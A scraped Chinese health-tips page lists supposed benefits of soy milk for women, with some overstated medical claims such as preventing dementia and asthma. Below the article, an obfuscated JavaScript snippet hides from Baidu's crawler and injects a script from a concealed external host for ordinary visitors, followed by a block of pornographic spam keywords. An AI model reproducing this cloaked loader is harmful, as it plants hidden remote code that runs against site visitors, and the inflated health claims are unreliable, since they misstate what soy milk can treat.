當前位置:首頁 > 飲食 > 食物營養 > 正文

女人經常喝豆漿的好處有什么?

2017-07-12 13:54:55  來源:360常識網   熱度:
導語:豆漿是一種常見的早餐,平時大家都喜歡在喝豆漿的時候吃點油條,其實若是將油條換成粗糧面包就更好了。豆漿富含多種營養成分,對人體健康的

豆漿是一種常見的早餐,平時大家都喜歡在喝豆漿的時候吃點油條,其實若是將油條換成粗糧面包就更好了。豆漿富含多種營養成分,對人體健康的好處還是有很多的,尤其是女性朋友,早上還是有必要喝點豆漿的,美容養顏還能調理身體的健康,那么女人經常喝豆漿的好處有什么?

1、強身健體:每百克豆漿約含蛋白質3.6克、脂肪2.0克、碳水化合物2.9克、磷49毫克、鐵1.2毫克、鈣15毫克以及維生素、核黃素等,對增強體質大有好處。

2、富含維他命,讓你瘦得漂亮。大豆中的維他命B2有助于維持皮膚和頭發的健康,維他命E促進新陳代謝,可以讓你保持水當當!

3、具洗凈作用,使腸道順暢。大豆配醣體使腸壁表面光滑、排便順暢。此外,大豆寡糖不被胃吸收會直送到大腸,幫助比菲德氏菌活化腸道。

4、降低膽固醇,使血液清澈。豆漿中含有可以降低、排出膽固醇的大豆蛋白質和大豆卵磷質,所以可以使血液清澈,維持良好的代謝狀態。

5、具高熱效應,能升高體溫。血液循環不良和肌肉不足,都會造成低體溫、低代謝。豆漿中所含的蛋白質,是高熱效應、暖身的營養素。

6、營養豐富:礦物質,尤其是鈣的含量,比其他任何乳類都豐富。豆漿是防治高血脂、高血壓、動脈硬化等疾病的理想食品。多喝鮮豆漿可預防老年癡呆癥,防治氣喘病。豆漿對于貧血病人的調養,比牛奶作用要強,以喝熱豆漿的方式補充植物蛋白,可以使人的抗病能力增強,調節中老年婦女內分泌系統,減輕并改善更年期癥狀,延緩衰老,減少青少年女性面部青春痘、暗瘡的發生,使皮膚白皙潤澤,還可以達到減肥的功效。豆漿是一種膠體,而非溶液。

通過上面的介紹,大家對女人經常喝豆漿的好處有什么也都很清楚了。豆漿里的營養物質確實是很多的,每一種都能給人體補充足夠的營養。不過只有掌握正確的食用方法,才能發揮它最佳的營養價值,不會反過來影響到自己的身體健康。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
亚洲国产精品美女久久久久| 国产精品乳摇在线播放| 亚洲AV蜜桃永久无码精品| 久久精品国产亚洲av品善| 亚洲视频国产精品| 午夜精品在线观看| 久久久999久久久精品| 国产剧情国产精品一区| 国产综合精品蜜芽| 亚洲精品成人久久久| www.久久精品| 国产高清在线精品一区二区| 色婷婷久久久SWAG精品| 国产在线91区精品| 午夜精品久久久久久久99热| 国产乱码精品一区二区三区四川| 国产精品亚洲天堂| 精品一区二区三区中文| 青青青青久久精品国产h久久精品五福影院1421 | 亚洲国产综合精品一区在线播放| 国产精品美女一级在线观看| 国产精品青草久久| 国产69久久精品成人看小说| 精品99在线观看| 永久免费精品影视网站| 亚洲一区无码精品色| 久久精品国产精品亜洲毛片| 中文成人无码精品久久久不卡| 国产成人精品日本亚洲专区61| 真实国产乱子伦精品视频| 久久这里只精品国产免费10| 久久香蕉超碰97国产精品| 蜜臀98精品国产免费观看| 国产成人愉拍精品| 国产在线拍揄自揄视精品| 国产精品国产三级国产在线观看| 婷婷久久精品国产| 伊人久久国产精品| 久久久精品2019中文字幕之3| 亚洲国产精品线观看不卡| 日本精品视频一视频高清|